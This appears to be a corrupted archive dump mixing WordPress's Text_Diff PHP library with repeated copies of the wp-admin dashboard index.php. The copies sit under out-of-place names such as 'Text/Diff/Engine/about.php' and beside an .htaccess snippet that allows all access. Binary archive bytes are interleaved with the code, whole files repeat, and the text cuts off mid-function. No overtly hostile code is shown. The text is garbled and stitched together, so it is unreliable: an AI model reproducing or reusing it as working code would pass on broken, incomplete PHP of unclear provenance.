    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    * $patch = file_get_contents('example.patch'); * $diff = new Text_Diff('string', array($patch)); * $renderer = new Text_Diff_Renderer_inline(); * echo $renderer->render($diff); * * * Copyright 2005 Örjan Persson * Copyright 2005-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Örjan Persson * @package Text_Diff * @since 0.2.0 */ class Text_Diff_Engine_string { /** * Parses a unified or context diff. * * First param contains the whole diff and the second can be used to force * a specific diff type. If the second parameter is 'autodetect', the * diff will be examined to find out which type of diff this is. * * @param string $diff The diff content. * @param string $mode The diff mode of the content in $diff. One of * 'context', 'unified', or 'autodetect'. * * @return array List of all diff operations. */ function diff($diff, $mode = 'autodetect') { // Detect line breaks. $lnbr = "\n"; if (strpos($diff, "\r\n") !== false) { $lnbr = "\r\n"; } elseif (strpos($diff, "\r") !== false) { $lnbr = "\r"; } // Make sure we have a line break at the EOF. if (substr($diff, -strlen($lnbr)) != $lnbr) { $diff .= $lnbr; } if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') { return PEAR::raiseError('Type of diff is unsupported'); } if ($mode == 'autodetect') { $context = strpos($diff, '***'); $unified = strpos($diff, '---'); if ($context === $unified) { return PEAR::raiseError('Type of diff could not be detected'); } elseif ($context === false || $unified === false) { $mode = $context !== false ? 'context' : 'unified'; } else { $mode = $context < $unified ? 'context' : 'unified'; } } // Split by new line and remove the diff header, if there is one. $diff = explode($lnbr, $diff); if (($mode == 'context' && strpos($diff[0], '***') === 0) || ($mode == 'unified' && strpos($diff[0], '---') === 0)) { array_shift($diff); array_shift($diff); } if ($mode == 'context') { return $this->parseContextDiff($diff); } else { return $this->parseUnifiedDiff($diff); } } /** * Parses an array containing the unified diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseUnifiedDiff($diff) { $edits = array(); $end = count($diff) - 1; for ($i = 0; $i < $end;) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case ' ': do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == ' '); $edits[] = new Text_Diff_Op_copy($diff1); break; case '+': // get all new lines do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': // get changed or removed lines $diff2 = array(); do { $diff1[] = substr($diff[$i], 1); } while (++$i < $end && substr($diff[$i], 0, 1) == '-'); while ($i < $end && substr($diff[$i], 0, 1) == '+') { $diff2[] = substr($diff[$i++], 1); } if (count($diff2) == 0) { $edits[] = new Text_Diff_Op_delete($diff1); } else { $edits[] = new Text_Diff_Op_change($diff1, $diff2); } break; default: $i++; break; } } return $edits; } /** * Parses an array containing the context diff. * * @param array $diff Array of lines. * * @return array List of all diff operations. */ function parseContextDiff(&$diff) { $edits = array(); $i = $max_i = $j = $max_j = 0; $end = count($diff) - 1; while ($i < $end && $j < $end) { while ($i >= $max_i && $j >= $max_j) { // Find the boundaries of the diff output of the two files for ($i = $j; $i < $end && substr($diff[$i], 0, 3) == '***'; $i++); for ($max_i = $i; $max_i < $end && substr($diff[$max_i], 0, 3) != '---'; $max_i++); for ($j = $max_i; $j < $end && substr($diff[$j], 0, 3) == '---'; $j++); for ($max_j = $j; $max_j < $end && substr($diff[$max_j], 0, 3) != '***'; $max_j++); } // find what hasn't been changed $array = array(); while ($i < $max_i && $j < $max_j && strcmp($diff[$i], $diff[$j]) == 0) { $array[] = substr($diff[$i], 2); $i++; $j++; } while ($i < $max_i && ($max_j-$j) <= 1) { if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') { break; } $array[] = substr($diff[$i++], 2); } while ($j < $max_j && ($max_i-$i) <= 1) { if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') { break; } $array[] = substr($diff[$j++], 2); } if (count($array) > 0) { $edits[] = new Text_Diff_Op_copy($array); } if ($i < $max_i) { $diff1 = array(); switch (substr($diff[$i], 0, 1)) { case '!': $diff2 = array(); do { $diff1[] = substr($diff[$i], 2); if ($j < $max_j && substr($diff[$j], 0, 1) == '!') { $diff2[] = substr($diff[$j++], 2); } } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!'); $edits[] = new Text_Diff_Op_change($diff1, $diff2); break; case '+': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff1); break; case '-': do { $diff1[] = substr($diff[$i], 2); } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff1); break; } } if ($j < $max_j) { $diff2 = array(); switch (substr($diff[$j], 0, 1)) { case '+': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '+'); $edits[] = new Text_Diff_Op_add($diff2); break; case '-': do { $diff2[] = substr($diff[$j++], 2); } while ($j < $max_j && substr($diff[$j], 0, 1) == '-'); $edits[] = new Text_Diff_Op_delete($diff2); break; } } } return $edits; } } PK!'5Œè±>±>Text/Diff/Engine/native.phpnuȯÝí 2, and some optimizations) are from * Geoffrey T. Dairiki . The original PHP version of this * code was written by him, and is used/adapted with his permission. * * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @author Geoffrey T. Dairiki * @package Text_Diff */ class Text_Diff_Engine_native { public $xchanged; public $ychanged; public $xv; public $yv; public $xind; public $yind; public $seq; public $in_seq; public $lcs; function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $n_from = count($from_lines); $n_to = count($to_lines); $this->xchanged = $this->ychanged = array(); $this->xv = $this->yv = array(); $this->xind = $this->yind = array(); unset($this->seq); unset($this->in_seq); unset($this->lcs); // Skip leading common lines. for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) { if ($from_lines[$skip] !== $to_lines[$skip]) { break; } $this->xchanged[$skip] = $this->ychanged[$skip] = false; } // Skip trailing common lines. $xi = $n_from; $yi = $n_to; for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) { if ($from_lines[$xi] !== $to_lines[$yi]) { break; } $this->xchanged[$xi] = $this->ychanged[$yi] = false; } // Ignore lines which do not exist in both files. for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $xhash[$from_lines[$xi]] = 1; } for ($yi = $skip; $yi < $n_to - $endskip; $yi++) { $line = $to_lines[$yi]; if (($this->ychanged[$yi] = empty($xhash[$line]))) { continue; } $yhash[$line] = 1; $this->yv[] = $line; $this->yind[] = $yi; } for ($xi = $skip; $xi < $n_from - $endskip; $xi++) { $line = $from_lines[$xi]; if (($this->xchanged[$xi] = empty($yhash[$line]))) { continue; } $this->xv[] = $line; $this->xind[] = $xi; } // Find the LCS. $this->_compareseq(0, count($this->xv), 0, count($this->yv)); // Merge edits when possible. $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged); $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged); // Compute the edit operations. $edits = array(); $xi = $yi = 0; while ($xi < $n_from || $yi < $n_to) { assert($yi < $n_to || $this->xchanged[$xi]); assert($xi < $n_from || $this->ychanged[$yi]); // Skip matching "snake". $copy = array(); while ($xi < $n_from && $yi < $n_to && !$this->xchanged[$xi] && !$this->ychanged[$yi]) { $copy[] = $from_lines[$xi++]; ++$yi; } if ($copy) { $edits[] = new Text_Diff_Op_copy($copy); } // Find deletes & adds. $delete = array(); while ($xi < $n_from && $this->xchanged[$xi]) { $delete[] = $from_lines[$xi++]; } $add = array(); while ($yi < $n_to && $this->ychanged[$yi]) { $add[] = $to_lines[$yi++]; } if ($delete && $add) { $edits[] = new Text_Diff_Op_change($delete, $add); } elseif ($delete) { $edits[] = new Text_Diff_Op_delete($delete); } elseif ($add) { $edits[] = new Text_Diff_Op_add($add); } } return $edits; } /** * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF, * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized * segments. * * Returns (LCS, PTS). LCS is the length of the LCS. PTS is an array of * NCHUNKS+1 (X, Y) indexes giving the diving points between sub * sequences. The first sub-sequence is contained in (X0, X1), (Y0, Y1), * the second in (X1, X2), (Y1, Y2) and so on. Note that (X0, Y0) == * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM). * * This function assumes that the first lines of the specified portions of * the two files do not match, and likewise that the last lines do not * match. The caller must trim matching lines from the beginning and end * of the portions it is going to specify. */ function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks) { $flip = false; if ($xlim - $xoff > $ylim - $yoff) { /* Things seems faster (I'm not sure I understand why) when the * shortest sequence is in X. */ $flip = true; list ($xoff, $xlim, $yoff, $ylim) = array($yoff, $ylim, $xoff, $xlim); } if ($flip) { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->xv[$i]][] = $i; } } else { for ($i = $ylim - 1; $i >= $yoff; $i--) { $ymatches[$this->yv[$i]][] = $i; } } $this->lcs = 0; $this->seq[0]= $yoff - 1; $this->in_seq = array(); $ymids[0] = array(); $numer = $xlim - $xoff + $nchunks - 1; $x = $xoff; for ($chunk = 0; $chunk < $nchunks; $chunk++) { if ($chunk > 0) { for ($i = 0; $i <= $this->lcs; $i++) { $ymids[$i][$chunk - 1] = $this->seq[$i]; } } $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks); for (; $x < $x1; $x++) { $line = $flip ? $this->yv[$x] : $this->xv[$x]; if (empty($ymatches[$line])) { continue; } $matches = $ymatches[$line]; reset($matches); while ($y = current($matches)) { if (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; break; } next($matches); } while ($y = current($matches)) { if ($y > $this->seq[$k - 1]) { assert($y <= $this->seq[$k]); /* Optimization: this is a common case: next match is * just replacing previous match. */ $this->in_seq[$this->seq[$k]] = false; $this->seq[$k] = $y; $this->in_seq[$y] = 1; } elseif (empty($this->in_seq[$y])) { $k = $this->_lcsPos($y); assert($k > 0); $ymids[$k] = $ymids[$k - 1]; } next($matches); } } } $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff); $ymid = $ymids[$this->lcs]; for ($n = 0; $n < $nchunks - 1; $n++) { $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks); $y1 = $ymid[$n] + 1; $seps[] = $flip ? array($y1, $x1) : array($x1, $y1); } $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim); return array($this->lcs, $seps); } function _lcsPos($ypos) { $end = $this->lcs; if ($end == 0 || $ypos > $this->seq[$end]) { $this->seq[++$this->lcs] = $ypos; $this->in_seq[$ypos] = 1; return $this->lcs; } $beg = 1; while ($beg < $end) { $mid = (int)(($beg + $end) / 2); if ($ypos > $this->seq[$mid]) { $beg = $mid + 1; } else { $end = $mid; } } assert($ypos != $this->seq[$end]); $this->in_seq[$this->seq[$end]] = false; $this->seq[$end] = $ypos; $this->in_seq[$ypos] = 1; return $end; } /** * Finds LCS of two sequences. * * The results are recorded in the vectors $this->{x,y}changed[], by * storing a 1 in the element for each line that is an insertion or * deletion (ie. is not in the LCS). * * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1. * * Note that XLIM, YLIM are exclusive bounds. All line numbers are * origin-0 and discarded lines are not counted. */ function _compareseq ($xoff, $xlim, $yoff, $ylim) { /* Slide down the bottom initial diagonal. */ while ($xoff < $xlim && $yoff < $ylim && $this->xv[$xoff] == $this->yv[$yoff]) { ++$xoff; ++$yoff; } /* Slide up the top initial diagonal. */ while ($xlim > $xoff && $ylim > $yoff && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) { --$xlim; --$ylim; } if ($xoff == $xlim || $yoff == $ylim) { $lcs = 0; } else { /* This is ad hoc but seems to work well. $nchunks = * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks = * max(2,min(8,(int)$nchunks)); */ $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1; list($lcs, $seps) = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks); } if ($lcs == 0) { /* X and Y sequences have no common subsequence: mark all * changed. */ while ($yoff < $ylim) { $this->ychanged[$this->yind[$yoff++]] = 1; } while ($xoff < $xlim) { $this->xchanged[$this->xind[$xoff++]] = 1; } } else { /* Use the partitions to split this problem into subproblems. */ reset($seps); $pt1 = $seps[0]; while ($pt2 = next($seps)) { $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]); $pt1 = $pt2; } } } /** * Adjusts inserts/deletes of identical lines to join changes as much as * possible. * * We do something when a run of changed lines include a line at one end * and has an excluded, identical line at the other. We are free to * choose which identical line is included. `compareseq' usually chooses * the one at the beginning, but usually it is cleaner to consider the * following identical line to be the "change". * * This is extracted verbatim from analyze.c (GNU diffutils-2.7). */ function _shiftBoundaries($lines, &$changed, $other_changed) { $i = 0; $j = 0; assert(count($lines) == count($changed)); $len = count($lines); $other_len = count($other_changed); while (1) { /* Scan forward to find the beginning of another run of * changes. Also keep track of the corresponding point in the * other file. * * Throughout this code, $i and $j are adjusted together so that * the first $i elements of $changed and the first $j elements of * $other_changed both contain the same number of zeros (unchanged * lines). * * Furthermore, $j is always kept so that $j == $other_len or * $other_changed[$j] == false. */ while ($j < $other_len && $other_changed[$j]) { $j++; } while ($i < $len && ! $changed[$i]) { assert($j < $other_len && ! $other_changed[$j]); $i++; $j++; while ($j < $other_len && $other_changed[$j]) { $j++; } } if ($i == $len) { break; } $start = $i; /* Find the end of this run of changes. */ while (++$i < $len && $changed[$i]) { continue; } do { /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ $runlength = $i - $start; /* Move the changed region back, so long as the previous * unchanged line matches the last changed one. This merges * with previous changed regions. */ while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) { $changed[--$start] = 1; $changed[--$i] = false; while ($start > 0 && $changed[$start - 1]) { $start--; } assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } /* Set CORRESPONDING to the end of the changed run, at the * last point where it corresponds to a changed run in the * other file. CORRESPONDING == LEN means no such point has * been found. */ $corresponding = $j < $other_len ? $i : $len; /* Move the changed region forward, so long as the first * changed line matches the following unchanged one. This * merges with following changed regions. Do this second, so * that if there are no merges, the changed region is moved * forward as far as possible. */ while ($i < $len && $lines[$start] == $lines[$i]) { $changed[$start++] = false; $changed[$i++] = 1; while ($i < $len && $changed[$i]) { $i++; } assert($j < $other_len && ! $other_changed[$j]); $j++; if ($j < $other_len && $other_changed[$j]) { $corresponding = $i; while ($j < $other_len && $other_changed[$j]) { $j++; } } } } while ($runlength != $i - $start); /* If possible, move the fully-merged run of changes back to a * corresponding run in the other file. */ while ($corresponding < $i) { $changed[--$start] = 1; $changed[--$i] = 0; assert($j > 0); while ($other_changed[--$j]) { continue; } assert($j >= 0 && !$other_changed[$j]); } } } } PK!]-A¬&&Text/Diff/Engine/about.php7nu„[µü¤home/wckrpri/www/wp-admin/index.php000064400000017270151644060340013347 0ustar00' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PK!]-A¬&&Text/Diff/Engine/about.phpnu„[µü¤home/wckrpri/www/wp-admin/index.php000064400000017270151644060340013347 0ustar00' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } PK!Ò =g––Text/Diff/Renderer.phpnu„[µü¤ $value) { $v = '_' . $param; if (isset($this->$v)) { $this->$v = $value; } } } /** * PHP4 constructor. */ public function Text_Diff_Renderer( $params = array() ) { self::__construct( $params ); } /** * Get any renderer parameters. * * @return array All parameters of this renderer object. */ function getParams() { $params = array(); foreach (get_object_vars($this) as $k => $v) { if ($k[0] == '_') { $params[substr($k, 1)] = $v; } } return $params; } /** * Renders a diff. * * @param Text_Diff $diff A Text_Diff object. * * @return string The formatted output. */ function render($diff) { $xi = $yi = 1; $block = false; $context = array(); $nlead = $this->_leading_context_lines; $ntrail = $this->_trailing_context_lines; $output = $this->_startDiff(); $diffs = $diff->getDiff(); foreach ($diffs as $i => $edit) { /* If these are unchanged (copied) lines, and we want to keep * leading or trailing context lines, extract them from the copy * block. */ if (is_a($edit, 'Text_Diff_Op_copy')) { /* Do we have any diff blocks yet? */ if (is_array($block)) { /* How many lines to keep as context from the copy * block. */ $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail; if (count($edit->orig) <= $keep) { /* We have less lines in the block than we want for * context => keep the whole block. */ $block[] = $edit; } else { if ($ntrail) { /* Create a new block with as many lines as we need * for the trailing context. */ $context = array_slice($edit->orig, 0, $ntrail); $block[] = new Text_Diff_Op_copy($context); } /* @todo */ $output .= $this->_block($x0, $ntrail + $xi - $x0, $y0, $ntrail + $yi - $y0, $block); $block = false; } } /* Keep the copy block as the context for the next block. */ $context = $edit->orig; } else { /* Don't we have any diff blocks yet? */ if (!is_array($block)) { /* Extract context lines from the preceding copy block. */ $context = array_slice($context, count($context) - $nlead); $x0 = $xi - count($context); $y0 = $yi - count($context); $block = array(); if ($context) { $block[] = new Text_Diff_Op_copy($context); } } $block[] = $edit; } if ($edit->orig) { $xi += count($edit->orig); } if ($edit->final) { $yi += count($edit->final); } } if (is_array($block)) { $output .= $this->_block($x0, $xi - $x0, $y0, $yi - $y0, $block); } return $output . $this->_endDiff(); } function _block($xbeg, $xlen, $ybeg, $ylen, &$edits) { $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen)); foreach ($edits as $edit) { switch (strtolower(get_class($edit))) { case 'text_diff_op_copy': $output .= $this->_context($edit->orig); break; case 'text_diff_op_add': $output .= $this->_added($edit->final); break; case 'text_diff_op_delete': $output .= $this->_deleted($edit->orig); break; case 'text_diff_op_change': $output .= $this->_changed($edit->orig, $edit->final); break; } } return $output . $this->_endBlock(); } function _startDiff() { return ''; } function _endDiff() { return ''; } function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { if ($xlen > 1) { $xbeg .= ',' . ($xbeg + $xlen - 1); } if ($ylen > 1) { $ybeg .= ',' . ($ybeg + $ylen - 1); } // this matches the GNU Diff behaviour if ($xlen && !$ylen) { $ybeg--; } elseif (!$xlen) { $xbeg--; } return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg; } function _startBlock($header) { return $header . "\n"; } function _endBlock() { return ''; } function _lines($lines, $prefix = ' ') { return $prefix . implode("\n$prefix", $lines) . "\n"; } function _context($lines) { return $this->_lines($lines, ' '); } function _added($lines) { return $this->_lines($lines, '> '); } function _deleted($lines) { return $this->_lines($lines, '< '); } function _changed($orig, $final) { return $this->_deleted($orig) . "---\n" . $this->_added($final); } } PK!'ݣ☘Text/Diff/Renderer/inline.phpnu„[µü¤'; /** * Suffix for inserted text. * * @var string */ var $_ins_suffix = ''; /** * Prefix for deleted text. * * @var string */ var $_del_prefix = ''; /** * Suffix for deleted text. * * @var string */ var $_del_suffix = ''; /** * Header for each change block. * * @var string */ var $_block_header = ''; /** * Whether to split down to character-level. * * @var boolean */ var $_split_characters = false; /** * What are we currently splitting on? Used to recurse to show word-level * or character-level changes. * * @var string */ var $_split_level = 'lines'; function _blockHeader($xbeg, $xlen, $ybeg, $ylen) { return $this->_block_header; } function _startBlock($header) { return $header; } function _lines($lines, $prefix = ' ', $encode = true) { if ($encode) { array_walk($lines, array(&$this, '_encode')); } if ($this->_split_level == 'lines') { return implode("\n", $lines) . "\n"; } else { return implode('', $lines); } } function _added($lines) { array_walk($lines, array(&$this, '_encode')); $lines[0] = $this->_ins_prefix . $lines[0]; $lines[count($lines) - 